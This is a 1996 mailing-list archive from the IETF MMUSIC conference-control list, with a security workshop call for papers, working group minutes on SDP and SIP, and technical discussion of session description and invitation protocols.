	id <AA15987>; Fri, 15 Mar 1996 09:45:44 -0800
Received: from anawalt (anawalt.cerc.wvu.edu) by cerc.wvu.edu (4.1/SMI-4.0:RAL-041790)
	id AA21501; Fri, 15 Mar 96 12:40:05 EST
From: alsalqan@cerc.wvu.edu (Yahya Alsalqan)
Received: by anawalt 
        (5.x//ident-1.0) id AA04960; Fri, 15 Mar 1996 12:40:02 -0500 
Message-Id: <9603151740.AA04960@anawalt>
Subject: Enterprise Security (Extended Deadline)
To: cync@world.std.com (Robert E Lamm)
Date: Fri, 15 Mar 1996 12:40:01 -0500 (EST)
Cc: klara@cs.uiuc.edu, rem-conf@es.net, confctrl@ISI.EDU,
        f-troup@aurora.cis.upenn.edu, klas@darmstadt.gmd.de,
        dbworld@cs.wisc.edu, hofmann@sap-ag.de, tdcl@bu.edu
In-Reply-To: <Pine.3.89.9603151129.B16005-0100000@world.std.com> from "Robert E Lamm" at Mar 15, 96 11:38:21 am
X-Mailer: ELM [version 2.4 PL24]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The new Deadline is March 25th

			      Call For Papers -Extended Deadline

			   A WET ICE 96 WORKSHOP
 		  International Workshop on Enterprise Security
			      June 19-21
		    Stanford University, Stanford, California
		
		Co-sponsored by the IEEE Computer Society and the
		Concurrent Engineering Research Center (CERC) at 
			   West Virginia University
           
	       Hosted by the Center for Design Research, Stanford University
                          
==============================================================================
Enterprises are increasingly dependent on their information systems to
support their business and workflow activities.  
There is a need for
universal electronic connectivity to support interaction and cooperation
between multiple  organisations.  This makes enterprise security and
confidentiality more important, but more difficult to achieve, as the
multiple organisations may have differences in their security policies and
may have to interact via an inscure internet.  These inter-organisational
enterprise systems may be very large and so tools and techniques are needed
to support the specification, analysis and implementation of security.

This workshop will focus on the problems and challenges relating to
enterprise security in inter-organisational systems. We aim to biring
together principal players from both the internetwork and enterprise
security community and will provide plenty of time for discussion.   Topics
to be addressed include:

	- Specifying and Analysing Enterprise Security Policy
        - Role-Based Access Control
        - Security infrastructre for large-scale systems
        - Supporting enterprise security over the internet
        - Conflicts and harmonization of inter- and intra-organizational
             Security
        - Distributed Database Security
        - Secure Transactions
        - Security in Workflow Process
        - Object Oriented and CORBA Security
        - Secure Applications and Environments
        - Integrating Heterogeneous Security Environments
        - Managing inter-oranisational Enterprise Security
	- Internet Security protocols
	- Security Algorithms

This workshop will be part of the IEEE Fifth Workshops on Enabling
Technologies: Infrastructure for Collaborative Enterprises (WET-ICE
96) organized by the Concurrent Engineering Research Center (CERC)/
West Virginia University and will be hosted by the Center for Design
Research, Stanford University, California.

Important Dates:
================
Papers Due			March 25, 1996
Panel Proposals			March 15, 1996
Authors notified of acceptance  April 19, 1996
Workshop			June 19-21, 1996
Camera Ready			June 28, 1996

INFORMATION FOR AUTHORS OF PAPERS TO BE INCLUDED IN THE PROCEEDINGS 
===================================================================
Mail six copies of an original (not submitted or published elsewhere)
paper (double-spaced) of 3000-5000 words to the Program Chair. Include
the title of the paper, the name and affiliation of each author, a
150-word abstract and no more than 8 keywords. The name, position,
address, telephone number, and if possible, fax number and e-mail
address of the author responsible for correspondence of the paper must
be included.


An e-mail submission in postscrip format will be accepted.

INFORMATION FOR PANEL ORGANIZERS 
================================
Send six copies of panel proposals to the Program Chair. Include the
title, a 150-word scope statement, proposed session chair and
panelists and their affiliations, the organizer's affiliation,
address, telephone and fax number, and e-mail address.

INFORMATION FOR AUTHORS OF POSITION PAPERS
==========================================
Send six copies of position paper of 2-3 pages to the Program
Chair. Include the title of the paper, the name and affiliation of
each author, a 150-word abstract and no more than 8 keywords. The
name, position, address, telephone number, and if possible, fax number
and e-mail address of the author responsible for correspondence of the
paper must be included. An accepted position paper will get less
presentation time than full paper.  


Program Committee
=================

Program Chair
	Yahya Al-Salqan
	Concurrent Engineering Research Center
	P.O. Box 6506
	886 Chestnut Ridge Road
	West Virginia University
	Morgantown, WV 26506
	USA

	Ph: (304) 293-7226
	Fax: (304) 293-7541

	e-mail: alsalqan@cerc.wvu.edu


Workshop Program Committee (Partial List):
==========================================
Takasi Arano, NTT Corp, Japan
Germano Caronni, ETH-Zurich, Switzerland
Chikuang Chao, AT&T, USA
Taher ElGamal, Netscape Corp., USA
Matthias Hirsch, BSI (Federal Department of Security in the Information
	Technology-Germany
Steve Kent, BBN, USA
W. Douglas Maughan, Technical Director, National Security Agency (NSA), USA
Clifford Neuman, USC/ISI, USA
LouAnna Notargiacomo, Oracle Corp., USA
Morris Sloman, Department of Computing: Imperial College, UK
Badie Taha, Al-Quds University, Jerusalem
Ravi Sandhu, Department of Information and Software Engineering,
	George Mason University, USA
Robert Thomys, BSI (Federal Department of Security in the Information
	Technology-Germany
Nick Zhang, CERC, West Virginia University, USA



Interrnet Hotline
================= 

Information on Enterprise Security Workshop may be obtained through
the WWW using the URL http://www.cerc.wvu.edu/SECWK/ 


You don't need to have a paper to attend the workshop.  

















From majordom@ISI.EDU  Fri Mar 22 03:35:46 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA15578>; Fri, 22 Mar 1996 11:35:37 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA15566>; Fri, 22 Mar 1996 11:35:31 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA18707>; Fri, 22 Mar 1996 11:35:28 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA14847; Fri, 22 Mar 96 11:35:46 PST
Date: Fri, 22 Mar 96 11:35:46 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9603221935.AA14847@vlsi.cs.caltech.edu>
To: minutes@cnri.reston.va.us
Subject: MMusic WG Minutes/Slides
Cc: confctrl@ISI.EDU, mankin@ISI.EDU, mhandley@cs.ucl.ac.uk,
        mhandley@reward.hpc.org, rlang@std.sri.com, schooler@cs.caltech.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



   Multiparty Multimedia Session Control Working Group (MMUSIC)
                   Minutes from the 35th IETF
		  Los Angeles, California, USA
			March 4-5, 1996

                             Chairs
                Mark Handley, m.handley@cs.ucl.ac.uk
                      Ruth Lang, rlang@sri.com
                Eve Schooler, schooler@cs.caltech.edu

MMUSIC met during two sessions at the 35th IETF, both of which were
multicast.  A summary of each of the talks given and a report of any
follow-up action items follows.  An on-line copy of these minutes and
the accompanying PostScript slides are available from
ftp://ftp.isi.edu/confctrl/minutes in the files ietf.3.96 and
slides.3.96.{tar, tar.Z}.  These notes were prepared by Ruth Lang.

Mark Handley (UCL) gave a presentation and solicited additional input
on open issues on the Session Description Protocol (sdp.3.96.ps). The
issues reviewed include expression of RTP profiles and payload types,
format lists, format groups, and a proposed change to the "media" and
"connection" lines which allow more general expression of connection
topologies and media relationships (e.g., for layered
encodings). Sufficient input was received to resolve some of the
issues, but discussion will continue on the mailing list on
others. Specifically, RTP profiles will be expressed on the "protocol"
line of the description (i.e., rtp/profile); supporting dynamic RTP
payload types was left as an open issue dependent on further
discussions in AVT regarding the definition of a registration
mechanism for them; the idea of re-introducing format groups was
discouraged in favor of retaining explicit descriptions of a group of
encodings; and changes to the "media2 and "connection" lines were
left as an open issue. A revised Internet draft will be issued soon
and the goal of issuing "last call" before the next IETF meeting was
set.

Mark Handley (UCL) gave a presentation on the design goals and issues
for a Session Directory Announcement Protocol (SDAP)
(sdap.3.96.ps). This protocol was originally envisioned to only
support wide-area multicast of SDP packets, but has been divided into
a wide-area (server to server) and local-area (client to server)
portions. The division was made to facilitate a segregation between
session directory management and maintenance functions (e.g.,
multicast address allocation) and user-oriented functions (e.g.,
instantiating tools). It was noted that the Service Location Protocol
could provide a means to locate directory servers, but lacked support
for asynchronous update. Mark has proposed to write an Internet-Draft
describing SDAP for review and discussion before the next IETF.

Mark Handley (UCL) provided an overview of the motivations for the
creation of the Internet Multimedia Conferencing Architecture document
(confarch.3.96.ps). This document describes the "big picture" which is
driving the development of the MMUSIC protocols, and the relationship
among the protocols in terms of a conference lifecycle.  Allison
Mankin (Transport Area Chair) encouraged that 1) the document be made
an Informational RFC with note that the document is intended to
change, and 2) MMUSIC formally ask the Security Area for a formal
consultation. Additional comments received included an encouragement
that this document be used to note the relationship between MMUSIC and
the ITU work on session control, and that the document should provide
descriptions of yet unchartered (by MMUSIC) technical challenges.

Ross Finlayson (Live Networks) gave a presentation aimed at motivating
more general thinking about the use of the MBONE as a general
groupware framework (groupware.3.96/1-10.ps). Some ideas Ross
suggested for further thought include: developing a way to share more
than just media (i.e., workspace sharing), a generalization in how
sessions are managed (e.g., multiple directories), use of object
inheritance models in describing sessions, supporting additional
persistence models in describing sessions (e.g., personal
directories).  Some discussion centered around the use of multiple
directories and their similarity to net news. No action items followed
from this presentation.

Rob Williams (Microsoft) and Eve Schooler (Cal Tech) each gave
presentations on the topic of User Location [(uls.3.96.ps) and
(userdir.3.96.ps) respectively].  Rob's presentation described a
service that has been developed at Microsoft for which an MMUSIC
Internet-Draft has been created.  This User Location Service provides
a means for users to build a common directory of information regarding
the running applications that can be used for collaboration. The User
Location Service I-D describes the client-side protocol for
add/delete/refresh/query operations to a database of tagged
records. Rob outlined several issues that the Internet-Draft does not
yet cover; examples include defining identifiers for common schema
elements, integration with DNS (seen as way to find User Location
Servers), and security. Eve provided an overview of a multicast-based
user directory she has developed. Goals of the effort are to enable a
simple method for registering user communities, combine dynamic and
static approaches of session management, and take advantage of other
user information on "closeness" to bound scope of media relations for
sessions. This user directory employs an announce/listen paradigm -
everyone using same multicast addr/port is loosely bound; the scope of
reception of the user announcement also defines the scope of reception
of the session itself. Eve has implemented a prototype which will be
released with the next release of MMCC. No specific action items were
generated as a result of these two talks. It was later identified by
the chairs that this topic is of interest to the working group and
that a more thorough review of the problem area and options for
providing such a service (e.g., based on already-developed Internet
protocols) was needed and will be scheduled as an agenda item for the
next IETF.

Eve Schooler (Cal Tech) presented the motivations for and specifics of
the Session Invitation Protocol (SIP) (sip.3.96.ps). This protocol is
targeted to complement the advertisement mechanism provided by tools
such as sd and sdr by enabling the joining of users (as compared to
users joining a session address). It can be used in the context of
both tightly- and loosely-controlled sessions and is intended for
transmission among peer user agents (or proxies for them). SIP uses
SDP as a means of describing the sessions for which an invitation is
being issues. It is meant to be conveyed over UDP and is therefore
minimally stateful -- request/response pair messages are mandatory,
but progress reports and acks are optional. Issues regarding the
choice of transport mechanism of UDP as compared to TCP or remote
procedure calls were discussed, and set-up delay imposed by
timer-based retransmissions were discussed.

Henning Schulzrinne (Fokus GMD) presented the motivations for and
specifics of the Simple Conference Invitation Protocol (SCIP)
(scip.3.96.ps). This protocol is also aimed at complementing
advertisement mechanisms but was developed with an eye towards
supporting telephony functionality. The models and goals of the two
protocols are similar, but SCIP can be contrasted with SIP by its use
of TCP as a transport mechanism, leveraged use of HTTP and SMTP, and
use of an alternate session description format (i.e., not SDP), etc.
Some discussion on UDP vs TCP (T/TCP) vs RPC etc. occurred but no
resolution was reached regarding a choice of a single transport
mechanism for conveyance of an invitation protocol. It is expected
that discussion of issues will be carried on the group's mailing list
and an effort to resolve differences between these two approaches will
be undertaken.

Carsten Bormann (Univ. Bremenn) provided an overview of the Simple
Conference Control Protocol (SCCP) which is a protocol between
conference control agents (horizontal) for orchestrating
tightly-coupled conferences (sccp.3.96.ps). The protocol is intended
to support managing a membership list including per-member
capabilities, application/media sessions, floor control, and
conductorship. It does not duplicate session advertisement or
invitation functions and supports session control only. The protocol
distinguishes protocol structure and protocol semantics (a document
describing the latter was proposed as a complement to SCCP), and is
intended to support bridging to T.120.  Design goals for the protocol
included simplicity and generality, but scalability to "large" groups
(e.g., IETF broadcasts over the Mbone) was excluded. No discussion
regarding the protocol occurred in the meeting due to lack of
time. The draft document circulated informally to the mailing list
will be revised and submitted as an Internet-draft.

Jim Toga (Intel) provided an overview of the ITU H.323 protocol and
highlighted its ability to operate over the Internet
(h323.3.96.ps). Specifically, H.323 supports having two (or more)
H.323 terminals be interconnected by an IP cloud. It supports the
establishment of tightly-controlled conferences which can be
centralized (hub) or distributed (peer-to- peer).  H.323 is based on
family of ITU protocols and interoperability among them is important.
Thus the standard contains many guidelines for interoperation via
gateways. No discussion regarding H.323's use on the Internet and
potential impact on protocols being developed by this group occurred
due to lack of time.  This will be carried on the mailing list.

Ed Ellesson (IBM) provided an overview of Internet Telephony and
highlighted the impact on conference control as well as other IETF- and
Internet-related areas (AVT, Integrated Services).  Ed proposed
questions such as whether solving issues regarding the lack of
interoperability among the Internet Telephone tools was the purview of
MMUSIC and pointed out that regardless, these tools in widespread use
would have a significant impact on traffic congestion on the Internet.
Ed offered to bring Internet phone vendors into the IETF for joint
discussions on this issue. Discussion regarding the seemed mismatch
between the bandwidth most Internet Telephone users have (e.g., 14.4
kb/sec) and the size of Internet protocols, whether the Internet should
work to accommodate this type of traffic flow (vs emphasize its ability
to carry multicast traffic), etc. occurred.  No specific conclusions
were reached in this meeting.

From majordom@ISI.EDU  Mon Mar 25 10:43:12 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA23464>; Mon, 25 Mar 1996 00:43:53 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA23458>; Mon, 25 Mar 1996 00:43:50 -0800
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-22)
	id <AA24586>; Mon, 25 Mar 1996 00:43:48 -0800
Received: by www45.inria.fr (8.6.13/8.6.12) id JAA04645; Mon, 25 Mar 1996 09:43:12 +0100
Message-Id: <199603250843.JAA04645@www45.inria.fr>
To: schooler@cs.caltech.edu (Eve Schooler)
Cc: confctrl@ISI.EDU
Subject: Re: MMusic WG Minutes/Slides 
In-Reply-To: Your message of "Fri, 22 Mar 1996 11:35:46 PST."
             <9603221935.AA14847@vlsi.cs.caltech.edu> 
Date: Mon, 25 Mar 1996 09:43:12 +0100
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Ed Ellesson (IBM) provided an overview of Internet Telephony and
>highlighted the impact on conference control as well as other IETF- and
>Internet-related areas (AVT, Integrated Services).  Ed proposed
>questions such as whether solving issues regarding the lack of
>interoperability among the Internet Telephone tools was the purview of
>MMUSIC and pointed out that regardless, these tools in widespread use
>would have a significant impact on traffic congestion on the Internet.
>Ed offered to bring Internet phone vendors into the IETF for joint
>discussions on this issue. Discussion regarding the seemed mismatch
>between the bandwidth most Internet Telephone users have (e.g., 14.4
>kb/sec) and the size of Internet protocols, whether the Internet should
>work to accommodate this type of traffic flow (vs emphasize its ability
>to carry multicast traffic), etc. occurred.  No specific conclusions
>were reached in this meeting.

I heard that in the meantime, IBM has taken the initiative and has
announced their own efforts to establish a standard for Internet telephony.

Does anybody have the original announcement ? Where does this leave
MMusic ?

-Philipp Hoschka

From majordom@ISI.EDU  Tue Mar 26 10:23:16 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA28256>; Tue, 26 Mar 1996 02:18:59 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA28250>; Tue, 26 Mar 1996 02:18:58 -0800
Received: from egate.lut.ac.uk by venera.isi.edu (5.65c/5.61+local-22)
	id <AA16444>; Tue, 26 Mar 1996 02:18:50 -0800
Received: from mailhost.lut.ac.uk [131.231.16.7] (pp)
	by egate.lut.ac.uk with smtp (Exim 0.42 #1)
	id E0u1Vpk-0003hp-00; Tue, 26 Mar 1996 10:18:36 +0000
Received: from slip-coba.lut.ac.uk by hpd.lut.ac.uk (15.11/SMI-4.1) id AA15512;
          Tue, 26 Mar 96 10:18:20 gmt
X-Sender: coba@hpd.lut.ac.uk
Message-Id: <v01530500ad7d64bcf2ca@[131.231.29.159]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 26 Mar 1996 10:23:16 +0000
To: M.Handley@cs.ucl.ac.uk, schooler@cs.caltech.edu
From: B.Anderson@lut.ac.uk (Ben Anderson)
Subject: comments/thoughts on SIP v1.0
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi,

these are in the context of currently building a "noddy" SIP client. We
haven't been able to explore all the issues of using SIP just yet - mostly
due to the fact that our code isn't quite complete, and also to a lack of
participants ;-)

Unfortunately I didn't get to see the LA multicast but I have seen the
minutes & slides. Apologies if the stuff below has already been covered.

A few thoughts:

1. We feel it'd be useful to have the unique id take on the form of an RTCP
CNAME. Thus:

ID=ben@125.112.123.101/3429845475

this helps immensely in cross-media bindings and local conference control
(assuming a SIP client might also be a local conference controller). As SIP
1.0 stands, you can't derive "ben@125.112.123.101" from a SIP message
unless it is a request (ie has the SDP "o" field present).

2. Use of SDP syntax: there are a number of thoughts here:

2.1 we use the third subfield of the "o" field to denote repeated requests
being sent by a client that has not received a reply, thus:
        1st send:
        o=ben 34235445 1 IN IP4 125.112.123.101
        2nd send:
        o=ben 34235445 2 IN IP4 125.112.123.101
etc. Is this the intended use? Obviously, it enables clients to ignore
requests they are processing but haven't replied to yet.

2.2 the sdp session attribute field is _extremely_ useful for designating
"user services". eg. our current client has 3 ready constructed "user
services": GLANCE, KNOCK, CONNECT. There is no difference at the media desc
level between a knock and a connect - the difference is in how the client
notifies the user.

2.3 Having said that, the use of the sdp syntax seems to enable the
description of a great variety of "user services" - something that will be
very important as different media/services/groupware apps arise in the
future. And in general we can describe most such 'services' without
recourse to explicit session level attributes (it just makes for easier
coding ;-)

2.4 Ideally we'd like to be able to grab sessions from sd(r) and use these
as the basis for SIP requests (drawing a colleague's attention to a
session, entering an MBONE booking in a personal calendar etc). If the sdp
syntax is used in SIP, this is fairly trivial to implement.

3. Response types: as the draft says new ones will probably be added as we
go - one such is DISCONNECT. Our SIP client sends this when a user
terminates a connection intentionally - it can be sent by either the
initiator _or_ the receiver of the request. This is prob. a category 2
message. Or is it a progress report (3)?

4. UDP as transport with retransmission and back-off: We've found this to
be effective in the local area (LAN). So far we haven't been able to test
it out in the wide area. More on that soon I hope.

For info: our SIP client has been developed to investigate UI rather than
technical issues and it's currently uncertain whether we (I) will have time
to make it fully SIP compliant. I'd like to but...

hope this starts some discussion

cheers
Ben.

******************************************************************************
This is <a href="http://pipkin.lut.ac.uk/~ben/sig.html">my signature</a>.



From majordom@ISI.EDU  Mon Apr  8 18:53:55 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA04835>; Tue, 9 Apr 1996 01:54:15 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA04829>; Tue, 9 Apr 1996 01:54:14 -0700
Received: from dns2.noc.best.net by venera.isi.edu (5.65c/5.61+local-22)
	id <AA17120>; Tue, 9 Apr 1996 01:54:13 -0700
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12]) by dns2.noc.best.net (8.6.12/8.6.5) with SMTP id BAA22250; Tue, 9 Apr 1996 01:53:55 -0700
Date: Tue, 9 Apr 1996 01:53:55 -0700
Message-Id: <1.5.4.16.19960409015356.264f8e9c@pop.best.com>
X-Sender: rsf@pop.best.com
X-Mailer: Windows Eudora Light Version 1.5.4 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: M.Handley@cs.ucl.ac.uk
From: Ross Finlayson <finlayson@live.com>
Subject: Some comments on the "time" fields in the SDPv2 spec
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark (cc. "confctrl"),

I was recently taking another look through the SDPv2 spec (draft 02.1, 27th
Feb), and it occurred to me that the specifications of the various "time"
fields ("t=", "r=" and "z=") are still somewhat imprecise, and in places
potentially confusing.

Some comments/questions regarding the "t=" (start/stop times) field:

- What happens if there's no "t=" field?  Is this equivalent to a single
field "t=0 0" - i.e., specifying an unbounded session?  I presume so, but
this needs to be made clear.
- Is it OK for a "t=" field to specify a non-zero start time, but a zero
(i.e., unbounded) end time?  This should probably be allowed, although
discouraged (just as "t=0 0" is discouraged).
- The rules for allowing more than one "t=" field need to be elaborated.
Obviously, in this case the (start time, end time) intervals should not
overlap.  But it also makes sense to require that they be listed in
ascending order of time.  (This pushes the work of sorting the intervals to
the (one) session creator, instead of to the (many) session recipients.)

Some comments/questions regarding the "r=" (repeat times) and "z=" (zone
adjustment) fields:

- These fields are not mentioned at all on your list on page 6.
- The grammar in Appendix A doesn't mention the "r=" or "z=" labels.

Finally, I'm still a little worried that we might be reinventing a wheel
somewhere.  Does anyone know of any efforts under way - e.g., in some other
standards organization - to define or promote a standard calendar
interchange format for PIMs ("personal information managers")?  If such a
standard (even a "de facto" standard) doesn't exist already, then it should,
IMHO.  In any case, I expect that users will want to drag SDP-specified
sessions to their calendar managers.

        Ross.


From majordom@ISI.EDU  Tue Apr  9 13:21:23 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA05882>; Tue, 9 Apr 1996 04:22:12 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA05876>; Tue, 9 Apr 1996 04:22:09 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA13023>; Tue, 9 Apr 1996 04:22:02 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10073-0@bells.cs.ucl.ac.uk>; Tue, 9 Apr 1996 12:21:27 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Ross Finlayson <finlayson@live.com>
Cc: confctrl@ISI.EDU
Subject: Re: Some comments on the "time" fields in the SDPv2 spec
In-Reply-To: Your message of "Tue, 09 Apr 96 01:53:55 PDT." <1.5.4.16.19960409015356.264f8e9c@pop.best.com>
Date: Tue, 09 Apr 96 12:21:23 +0100
Message-Id: <5392.829048883@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>I was recently taking another look through the SDPv2 spec (draft 02.1, 27th
>Feb), and it occurred to me that the specifications of the various "time"
>fields ("t=", "r=" and "z=") are still somewhat imprecise, and in places
>potentially confusing.

Thanks for your comments Ross - I'll try and address them...

>Some comments/questions regarding the "t=" (start/stop times) field:
>
>- What happens if there's no "t=" field?  Is this equivalent to a single
>field "t=0 0" - i.e., specifying an unbounded session?  I presume so, but
>this needs to be made clear.

You're quite correct.  I had though "t" was specified as compulsory, but
thats not what the current working states.

>- Is it OK for a "t=" field to specify a non-zero start time, but a zero
>(i.e., unbounded) end time?  This should probably be allowed, although
>discouraged (just as "t=0 0" is discouraged).

I think you're correct (especially as you can't specify repeats
without a start time to work from) but I'm slightly concerned about
anything that might encourage more use of unbounded sessions as they
are going to be a really bad idea as the number of sessions increases.

>- The rules for allowing more than one "t=" field need to be elaborated.
>Obviously, in this case the (start time, end time) intervals should not
>overlap.  

No - they must be allowed to overlap for some odd repeat patterns -
the end time specifies when the repeat pattern finishes repeating.

>But it also makes sense to require that they be listed in
>ascending order of time.  (This pushes the work of sorting the intervals to
>the (one) session creator, instead of to the (many) session recipients.)

Makes sense.

>Some comments/questions regarding the "r=" (repeat times) and "z=" (zone
>adjustment) fields:
>
>- These fields are not mentioned at all on your list on page 6.
>- The grammar in Appendix A doesn't mention the "r=" or "z=" labels.

These are errors in the draft, and I'll fix them.

>Finally, I'm still a little worried that we might be reinventing a wheel
>somewhere.  Does anyone know of any efforts under way - e.g., in some other
>standards organization - to define or promote a standard calendar
>interchange format for PIMs ("personal information managers")?  If such a
>standard (even a "de facto" standard) doesn't exist already, then it should,
>IMHO.  In any case, I expect that users will want to drag SDP-specified
>sessions to their calendar managers.

Agreed - we discussed this a little in the meeting about a year ago.
The current format seems to work OK for most things but I'm not really
all that happy with it.  Bear in mind though that the requirements are
slighly different from calendar managers in that you need to specify a
time uniquely and globallly without requiring too much knowledge on
the receivers part about your timezone, your daylight saving time,
etc.  This constrains the format a little.  When we started this, I
was pointed at several calendar formats and none of them could do this
task unambiguously.

>        Ross.

Thanks again,
	Mark


From majordom@ISI.EDU  Thu Apr 11 10:33:23 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA24582>; Thu, 11 Apr 1996 11:36:13 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA24575>; Thu, 11 Apr 1996 11:36:12 -0700
Received: from mercury.thepoint.net by venera.isi.edu (5.65c/5.61+local-22)
	id <AA20811>; Thu, 11 Apr 1996 11:36:01 -0700
Received: from tis-arlie.thepoint.net by mercury.thepoint.net (8.6.12/)
	id OAA03156; Thu, 11 Apr 1996 14:35:39 -0400
Received: by tis-arlie.thepoint.net with Microsoft Mail
	id <01BB27B4.5037C790@tis-arlie.thepoint.net>; Thu, 11 Apr 1996 14:36:47 -0400
Message-Id: <01BB27B4.5037C790@tis-arlie.thepoint.net>
From: Arlie Davis <arlie@thepoint.net>
To: "'MMUSIC (Multimedia Multiparty Session Control)'" <confctrl@ISI.EDU>
Subject: Announcement of new SD implementation for Win32 platform
Date: Thu, 11 Apr 1996 14:33:23 -0400
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is a tiny announcement of my implementation of a Session Directory
tool for the Win32 (Windows 95/NT) platform.  The tool listens on both
the SDP V1 and V2 group/port pairs, and is aware of the differences
between SDP V1 and V2.  This cleanly eliminates any concerns about
migrating from one address to the other, and any need for a V1 -> V2
gateway.  Most of the SDP V2 draft is implemented.

The tool is still limited in a few ways.  The most important functionality
that is missing is the ability to originate sessions; this functionality is
nearly complete, and will be in the next release.  It also has zero
documentation, except for a small readme.

It is available (for Intel platforms only) at

	http://archive.thepoint.net/Internet/Interactive%20media/MBONE/SD/Win32/

Please feel free to send me comments or suggestions concerning
this implementation.

-- arlie


From majordom@ISI.EDU  Mon Apr 29 14:44:06 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA09959>; Mon, 29 Apr 1996 17:31:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA09953>; Mon, 29 Apr 1996 17:31:08 -0700
Received: from cdcnet.uniandes.edu.co by venera.isi.edu (5.65c/5.61+local-23)
	id <AA09086>; Mon, 29 Apr 1996 17:31:05 -0700
Received: from ucauca.edu.co (atenea.ucauca.edu.co) by cdcnet.uniandes.edu.co (5.x/SMI-SVR4)
	id AA29406; Mon, 29 Apr 1996 19:32:55 +0500
Received: by ucauca.edu.co (5.0/SMI-SVR4)
	id AA10446; Mon, 29 Apr 1996 09:44:08 --500
Date: Mon, 29 Apr 1996 09:44:06 +0500 (GMT)
From: Hector James Gordillo Gonzalez <hgordill@atenea.ucauca.edu.co>
To: confctrl@ISI.EDU
Subject: INFORMATION
Message-Id: <Pine.SOL.3.91.960429094003.10142I-100000@atenea>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Dear Sir:

I'm working in my thesis job in an University of South America. I need 
infomation about multimedia networks(physic architecture, new technologies,
protocols, etc.), specially video transmission.  I would like to know if 
you can send me papers or any article that have this themes. Excuse me if 
demand much. I have problems: i don't have access to WWW.  Please, help me.
Please confirm the arrival of this message.

Thanks a lot!!!

Best Regards,

- Hector J.

From majordom@ISI.EDU  Wed May 29 19:55:32 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11686>; Wed, 29 May 1996 08:55:39 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11680>; Wed, 29 May 1996 08:55:37 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA19200>; Wed, 29 May 1996 08:55:34 -0700
Received: by www45.inria.fr (8.6.13/8.6.12) id RAA11010; Wed, 29 May 1996 17:55:32 +0200
Message-Id: <199605291555.RAA11010@www45.inria.fr>
To: confctrl@ISI.EDU
Subject: Idea for sdp
Date: Wed, 29 May 1996 17:55:32 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I jotted this on a piece of paper that I finally want to throw
away: is it possible in sdp to transmit a URL that points to a place 
where the binaries for decoding software for a stream can be fetched ?
This info could be given at least for the "most popular" platforms.

Given the proliferation of coders/decoders, and
the frequency with which information on the tool required for 
decoding a stream turns up in the "information" field in recent
announcements in sdr, it might be worthwhile to have a more
formal field for this functionality. This might be extended to also 
allow automatic downloading of the decoder, written e.g. in Java 
(no, I didn't say that :-)). Plus it would spare people to
write and update html pages with titles like "where to get MBone tools
for XXX"

-Philipp Hoschka

----------------------------------------------------------------------
   Philipp Hoschka
   WWW: http://www.inria.fr/rodeo/personnel/hoschka/hoschka.html 
				|   INRIA - WWW Consortium
   hoschka@sophia.inria.fr      |   2004, Route des Lucioles, BP 93
   Tel:(+33) 93 65 79 84        |   06902 Sophia Antipolis Cedex
   Fax:(+33) 93 65 77 65        |   France
----------------------------------------------------------------------


From majordom@ISI.EDU  Wed May 29 21:35:15 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17858>; Wed, 29 May 1996 10:35:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17852>; Wed, 29 May 1996 10:35:33 -0700
Received: from ruin.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA24371>; Wed, 29 May 1996 10:35:25 -0700
